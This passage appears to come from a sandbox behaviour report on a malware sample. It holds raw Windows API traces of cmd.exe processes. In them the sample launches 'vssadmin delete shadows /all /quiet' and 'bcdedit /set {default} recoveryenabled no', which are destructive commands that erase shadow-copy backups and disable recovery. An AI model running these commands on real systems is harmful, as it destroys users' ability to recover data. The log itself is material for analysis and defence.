4 [0069.356] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0069.356] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0069.356] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0069.356] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0069.356] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0069.356] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0069.356] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0069.356] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0069.356] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0069.356] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0069.356] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0069.356] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0069.356] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0069.356] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0069.357] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0069.357] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0069.357] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0069.357] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0069.357] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0069.357] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0069.357] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0069.357] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0069.357] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0069.357] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0069.357] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0069.357] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0069.357] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0069.357] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0069.357] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0069.357] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0069.357] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0069.357] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0069.357] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0069.357] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0069.357] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0069.357] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0069.357] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0069.357] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0069.357] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0069.357] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0069.357] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0069.357] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0069.357] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0069.357] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0069.357] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0069.357] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0069.357] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0069.357] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0069.357] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0069.357] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0069.357] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0069.358] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0069.358] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0069.358] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0069.358] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0069.358] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0069.358] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0069.358] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0069.358] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0069.358] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0069.358] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0069.358] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0069.358] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0069.358] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0069.358] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0069.358] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0069.358] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0069.358] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0069.358] ??_V@YAXPAX@Z () returned 0x1 [0069.359] GetProcessHeap () returned 0x2da0000 [0069.359] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0xffd6) returned 0x2db5408 [0069.360] GetProcessHeap () returned 0x2da0000 [0069.360] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x5a) returned 0x2da5e40 [0069.360] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0069.360] malloc (_Size=0xffce) returned 0x2ec2660 [0069.360] ??_V@YAXPAX@Z () returned 0x8ff22c [0069.360] GetProcessHeap () returned 0x2da0000 [0069.360] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x1ffa4) returned 0x2dc53e8 [0069.362] SetErrorMode (uMode=0x0) returned 0x0 [0069.362] SetErrorMode (uMode=0x1) returned 0x0 [0069.362] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x2dc53f0, lpFilePart=0x8ff24c | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x8ff24c*="Desktop") returned 0x17 [0069.362] SetErrorMode (uMode=0x0) returned 0x1 [0069.362] GetProcessHeap () returned 0x2da0000 [0069.362] RtlReAllocateHeap (Heap=0x2da0000, Flags=0x0, Ptr=0x2dc53e8, Size=0x52) returned 0x2dc53e8 [0069.362] GetProcessHeap () returned 0x2da0000 [0069.362] RtlSizeHeap (HeapHandle=0x2da0000, Flags=0x0, MemoryPointer=0x2dc53e8) returned 0x52 [0069.362] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0069.362] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0069.364] GetProcessHeap () returned 0x2da0000 [0069.364] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x1b4) returned 0x2da5ea8 [0069.364] GetProcessHeap () returned 0x2da0000 [0069.364] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x360) returned 0x2da6068 [0069.368] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0069.369] GetProcessHeap () returned 0x2da0000 [0069.369] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0xe0) returned 0x2da6228 [0069.369] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.369] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x8feff8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8feff8) returned 0xffffffff [0069.369] GetLastError () returned 0x2 [0069.369] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.exe.*", fInfoLevelId=0x1, lpFindFileData=0x8fefd8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8fefd8) returned 0xffffffff [0069.369] GetLastError () returned 0x2 [0069.369] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.369] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x8feff8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8feff8) returned 0xffffffff [0069.372] GetLastError () returned 0x2 [0069.372] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.exe.*", fInfoLevelId=0x1, lpFindFileData=0x8fefd8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8fefd8) returned 0xffffffff [0069.372] GetLastError () returned 0x2 [0069.372] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.372] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x8feff8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8feff8) returned 0x2da62a8 [0069.372] GetProcessHeap () returned 0x2da0000 [0069.372] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x0, Size=0x14) returned 0x2da4828 [0069.372] FindClose (in: hFindFile=0x2da62a8 | out: hFindFile=0x2da62a8) returned 1 [0069.372] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0069.372] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0069.372] ??_V@YAXPAX@Z () returned 0x1 [0069.373] GetConsoleTitleW (in: lpConsoleTitle=0x8ff4dc, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0069.475] InitializeProcThreadAttributeList (in: lpAttributeList=0x8ff408, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x8ff3f4 | out: lpAttributeList=0x8ff408, lpSize=0x8ff3f4) returned 1 [0069.475] UpdateProcThreadAttribute (in: lpAttributeList=0x8ff408, dwFlags=0x0, Attribute=0x60001, lpValue=0x8ff3f0, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x8ff408, lpPreviousValue=0x0) returned 1 [0069.475] GetStartupInfoW (in: lpStartupInfo=0x8ff440 | out: lpStartupInfo=0x8ff440*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0069.475] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0x18) returned 0x2da62a8 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.475] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.476] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0069.476] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0069.476] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0069.476] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0069.476] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0069.476] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0069.476] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0069.476] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0069.476] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0069.476] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0069.476] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0069.476] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0069.476] GetProcessHeap () returned 0x2da0000 [0069.476] RtlFreeHeap (HeapHandle=0x2da0000, Flags=0x0, BaseAddress=0x2da62a8) returned 1 [0069.476] GetProcessHeap () returned 0x2da0000 [0069.476] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0xa) returned 0x2da62a8 [0069.476] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1 [0069.477] _get_osfhandle (_FileHandle=1) returned 0x90 [0069.477] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1 [0069.686] _get_osfhandle (_FileHandle=0) returned 0x8c [0069.686] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1 [0069.983] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin.exe delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x8ff390*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin.exe delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x8ff3dc | out: lpCommandLine="vssadmin.exe delete shadows /all /quiet", lpProcessInformation=0x8ff3dc*(hProcess=0xe0, hThread=0xdc, dwProcessId=0x11e8, dwThreadId=0x11e0)) returned 1 [0070.259] CloseHandle (hObject=0xdc) returned 1 [0070.259] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0070.259] GetProcessHeap () returned 0x2da0000 [0070.259] RtlFreeHeap (HeapHandle=0x2da0000, Flags=0x0, BaseAddress=0x2da8768) returned 1 [0070.259] GetEnvironmentStringsW () returned 0x2da6fe8* [0070.259] GetProcessHeap () returned 0x2da0000 [0070.259] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0xbcc) returned 0x2da7bc0 [0070.259] FreeEnvironmentStringsA (penv="=") returned 1 [0070.259] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0077.593] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0x8ff374 | out: lpExitCode=0x8ff374*=0x2) returned 1 [0077.593] CloseHandle (hObject=0xe0) returned 1 [0077.593] _vsnwprintf (in: _Buffer=0x8ff45c, _BufferCount=0x13, _Format="%08X", _ArgList=0x8ff37c | out: _Buffer="00000002") returned 8 [0077.593] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0077.593] GetProcessHeap () returned 0x2da0000 [0077.593] RtlFreeHeap (HeapHandle=0x2da0000, Flags=0x0, BaseAddress=0x2da7bc0) returned 1 [0077.593] GetEnvironmentStringsW () returned 0x2da6fe8* [0077.593] GetProcessHeap () returned 0x2da0000 [0077.593] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0xbf2) returned 0x2da9398 [0077.593] FreeEnvironmentStringsA (penv="=") returned 1 [0077.593] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0077.593] GetProcessHeap () returned 0x2da0000 [0077.593] RtlFreeHeap (HeapHandle=0x2da0000, Flags=0x0, BaseAddress=0x2da9398) returned 1 [0077.594] GetEnvironmentStringsW () returned 0x2da6fe8* [0077.594] GetProcessHeap () returned 0x2da0000 [0077.594] RtlAllocateHeap (HeapHandle=0x2da0000, Flags=0x8, Size=0xbf2) returned 0x2da9398 [0077.594] FreeEnvironmentStringsA (penv="=") returned 1 [0077.594] GetProcessHeap () returned 0x2da0000 [0077.594] RtlFreeHeap (HeapHandle=0x2da0000, Flags=0x0, BaseAddress=0x2da62a8) returned 1 [0077.594] DeleteProcThreadAttributeList (in: lpAttributeList=0x8ff408 | out: lpAttributeList=0x8ff408) [0077.594] ??_V@YAXPAX@Z () returned 0x1 [0077.594] _get_osfhandle (_FileHandle=1) returned 0x90 [0077.594] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1 [0077.686] _get_osfhandle (_FileHandle=1) returned 0x90 [0077.686] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xb93890 | out: lpMode=0xb93890) returned 1 [0077.779] _get_osfhandle (_FileHandle=1) returned 0x90 [0077.779] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0077.849] _get_osfhandle (_FileHandle=0) returned 0x8c [0077.849] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xb93894 | out: lpMode=0xb93894) returned 1 [0077.908] _get_osfhandle (_FileHandle=0) returned 0x8c [0077.908] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0077.976] SetConsoleInputExeNameW () returned 0x1 [0077.976] GetConsoleOutputCP () returned 0x1b5 [0078.059] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xb93850 | out: lpCPInfo=0xb93850) returned 1 [0078.059] SetThreadUILanguage (LangId=0x0) returned 0x780409 [0078.111] exit (_Code=2) [0078.111] ??_V@YAXPAX@Z () returned 0x1 Thread: id = 77 os_tid = 0x12a4 Process: id = "4" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x6ace000" os_pid = "0xa4c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe00" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0x38c Thread: id = 26 os_tid = 0x3ec Thread: id = 29 os_tid = 0x878 Thread: id = 33 os_tid = 0xf88 Thread: id = 36 os_tid = 0xf54 Process: id = "5" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x36b8b000" os_pid = "0x594" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x139c" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c \"bcdedit.exe /set {default} recoveryenabled no\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 27 os_tid = 0x6bc [0067.556] GetModuleHandleA (lpModuleName=0x0) returned 0xb60000 [0067.556] __set_app_type (_Type=0x1) [0067.556] __p__fmode () returned 0x77803c14 [0067.556] __p__commode () returned 0x778049ec [0067.557] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xb76fd0) returned 0x0 [0067.557] __getmainargs (in: _Argc=0xb8d1a4, _Argv=0xb8d1a8, _Env=0xb8d1ac, _DoWildCard=0, _StartInfo=0xb8d1b8 | out: _Argc=0xb8d1a4, _Argv=0xb8d1a8, _Env=0xb8d1ac) returned 0 [0067.557] _onexit (_Func=0xb78030) returned 0xb78030 [0067.557] _onexit (_Func=0xb78040) returned 0xb78040 [0067.557] _onexit (_Func=0xb78050) returned 0xb78050 [0067.557] _onexit (_Func=0xb78060) returned 0xb78060 [0067.557] _onexit (_Func=0xb78070) returned 0xb78070 [0067.558] _onexit (_Func=0xb78080) returned 0xb78080 [0067.558] GetCurrentThreadId () returned 0x6bc [0067.558] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x6bc) returned 0xbc [0067.558] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000 [0067.558] GetProcAddress (hModule=0x76750000, lpProcName="SetThreadUILanguage") returned 0x76764f70 [0067.558] SetThreadUILanguage (LangId=0x0) returned 0x3090409 [0067.826] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0067.826] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x32ff864 | out: phkResult=0x32ff864*=0x0) returned 0x2 [0067.826] VirtualQuery (in: lpAddress=0x32ff86f, lpBuffer=0x32ff81c, dwLength=0x1c | out: lpBuffer=0x32ff81c*(BaseAddress=0x32ff000, AllocationBase=0x3200000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0067.826] VirtualQuery (in: lpAddress=0x3200000, lpBuffer=0x32ff81c, dwLength=0x1c | out: lpBuffer=0x32ff81c*(BaseAddress=0x3200000, AllocationBase=0x3200000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0067.826] VirtualQuery (in: lpAddress=0x3201000, lpBuffer=0x32ff81c, dwLength=0x1c | out: lpBuffer=0x32ff81c*(BaseAddress=0x3201000, AllocationBase=0x3200000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0067.826] VirtualQuery (in: lpAddress=0x3203000, lpBuffer=0x32ff81c, dwLength=0x1c | out: lpBuffer=0x32ff81c*(BaseAddress=0x3203000, AllocationBase=0x3200000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0067.826] VirtualQuery (in: lpAddress=0x3300000, lpBuffer=0x32ff81c, dwLength=0x1c | out: lpBuffer=0x32ff81c*(BaseAddress=0x3300000, AllocationBase=0x3300000, AllocationProtect=0x2, RegionSize=0xc5000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0067.826] GetConsoleOutputCP () returned 0x1b5 [0068.037] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xb93850 | out: lpCPInfo=0xb93850) returned 1 [0068.037] SetConsoleCtrlHandler (HandlerRoutine=0xb87260, Add=1) returned 1 [0068.037] _get_osfhandle (_FileHandle=1) returned 0x90 [0068.037] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xb9388c | out: lpMode=0xb9388c) returned 1 [0068.276] _get_osfhandle (_FileHandle=0) returned 0x8c [0068.276] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xb93888 | out: lpMode=0xb93888) returned 1 [0068.491] _get_osfhandle (_FileHandle=1) returned 0x90 [0068.491] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1 [0068.696] _get_osfhandle (_FileHandle=1) returned 0x90 [0068.696] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xb93890 | out: lpMode=0xb93890) returned 1 [0068.791] _get_osfhandle (_FileHandle=1) returned 0x90 [0068.791] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0068.882] _get_osfhandle (_FileHandle=0) returned 0x8c [0068.882] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xb93894 | out: lpMode=0xb93894) returned 1 [0068.974] _get_osfhandle (_FileHandle=0) returned 0x8c [0068.974] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0069.086] GetEnvironmentStringsW () returned 0x3624d48* [0069.086] GetProcessHeap () returned 0x3620000 [0069.086] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0xb7c) returned 0x36258d0 [0069.086] FreeEnvironmentStringsA (penv="A") returned 1 [0069.086] GetProcessHeap () returned 0x3620000 [0069.086] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0x4) returned 0x3624828 [0069.086] GetEnvironmentStringsW () returned 0x3624d48* [0069.086] GetProcessHeap () returned 0x3620000 [0069.086] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0xb7c) returned 0x3626458 [0069.086] FreeEnvironmentStringsA (penv="A") returned 1 [0069.086] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32fe7c0 | out: phkResult=0x32fe7c0*=0xcc) returned 0x0 [0069.086] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32fe7c8, lpData=0x32fe7cc, lpcbData=0x32fe7c4*=0x1000 | out: lpType=0x32fe7c8*=0x0, lpData=0x32fe7cc*=0x0, lpcbData=0x32fe7c4*=0x1000) returned 0x2 [0069.086] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32fe7c8, lpData=0x32fe7cc, lpcbData=0x32fe7c4*=0x1000 | out: lpType=0x32fe7c8*=0x4, lpData=0x32fe7cc*=0x1, lpcbData=0x32fe7c4*=0x4) returned 0x0 [0069.086] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, 